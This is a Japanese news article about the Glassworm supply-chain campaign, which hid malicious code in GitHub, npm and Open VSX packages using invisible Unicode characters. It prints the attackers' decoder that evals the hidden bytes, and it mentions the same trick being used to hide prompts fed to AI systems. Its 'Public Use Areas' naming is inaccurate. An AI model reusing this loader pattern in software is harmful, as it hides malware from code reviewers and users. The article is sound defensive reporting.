サプライチェーン攻撃は、検出を回避するために不可視のUnicodeコードを使用します。

Aikido Securityのセキュリティ研究者らは、GitHub、NPM、Open VSXにアップロードされたパッケージ内の悪意ある機能を隠すために、見えないUnicodeコードを使用したサプライチェーン攻撃を発見しました。Glasswormと名付けられた攻撃グループは、2026年3月3日から3月9日にかけて、151の悪意あるパッケージをGitHubにアップロードしました。
見えないコードの仕組み
悪意あるパッケージは、エディタ、ターミナル、コードレビューインターフェースで表示されると見えなくなる、Public Use Areas(Public Use Accessとも呼ばれる)のUnicode文字を使用しています。コードの大部分は正常に見えますが、悪意ある機能やペイロードはこれらの見えない文字を使用してレンダリングされており、手動でのコードレビューや従来の防御策を無効化しています。
見えないUnicode文字は、コンピュータによって処理されると米国アルファベットのすべての文字を表しますが、人間には空白や空行として表示されます。JavaScriptインタープリタはこれらの文字を通常のコードとして読み取り、実行できます。
技術的な実装
分析されたパッケージの1つでは、攻撃者は見えない文字を使用して悪意あるペイロードをエンコードしていました。コードには、隠されたバイトを抽出してeval()に渡すデコーダ関数が含まれています:
const s = v => [...v].map(
w => (
w = w.codePointAt(0),
w >= 0xFE00 && w <= 0xFE0F ? w - 0xFE00 :
w >= 0xE0100 && w <= 0xE01EF ? w - 0xE0100 + 16 :
null
)
).filter(n => n !== null);
eval(Buffer.from(s(``)).toString('utf-8'));
s()に渡されるバックティック文字列は、ビューアでは空に見えますが、完全な悪意あるペイロードにデコードされる見えない文字を含んでいます。過去の事例では、デコードされたペイロードが、Solanaを配信チャネルとして使用して第二段階のスクリプトを取得・実行し、トークン、認証情報、秘密情報を盗んでいました。
攻撃の特徴
悪意あるパッケージは、特に検出が困難です。その理由は:
- コードの可視部分は高品質で現実的である
- 周囲の変更には、ドキュメントの微調整、バージョンの更新、小さなリファクタリング、バグ修正が含まれる
- 変更はターゲットプロジェクトのスタイルに一貫性がある
- 研究者らは、LLMが説得力のある正当なパッケージを生成するために使用されていると疑っている
このUnicode技術は、2024年にAIエンジンに供給される悪意あるプロンプトを隠すために初めて使用され、その後、従来のマルウェア攻撃に適応されました。検出された151のパッケージは、キャンペーンのごく一部を表している可能性が高く、初期アップロード以降、多くのパッケージが削除されています。
📖 Read the full source: HN AI Agents
👀 See Also

エージェント・ドリフト セキュリティツール v0.1.2 リリース:AIセキュリティにおける飛躍的進歩
Agent-Drift Security Tool v0.1.2が利用可能になり、AIコーディングエージェントの安全性が向上しました。このアップデートは、自動化における重要なセキュリティ課題に対応しています。

SIEMホームラボ脅威ハンティングのためのOpenClaw SOCエージェント統合
Redditユーザーが、Debian 13上に構築したオープンソースSIEM「Red Threat Redemption」を紹介。Elasticsearch、Kibana、Wazuh、Zeek、pfSense with Suricataを統合し、AIエージェントを追加して脅威の自動相関分析、ハンティング、アラートトリアージを実現。

AIを人間より信頼しないでください — 同じアクセス制御を適用しよう
Redditの議論では、AIコーディングエージェントをジュニア開発者と同じように扱うべきだと言われています。本番環境へのアクセス禁止、直接書き込み禁止、CI/CDパイプラインと役割ベースの権限の適用が求められています。

Clawndom: Claudeコードの脆弱なnpmパッケージをブロックするセキュリティフック
開発者が、Claude Code向けのオープンソースフック「Clawndom」を構築しました。これは、インストール前にnpmパッケージをOSV.dev脆弱性データベースと照合し、既知の脆弱なパッケージをブロックしながらエージェントの自律性を維持します。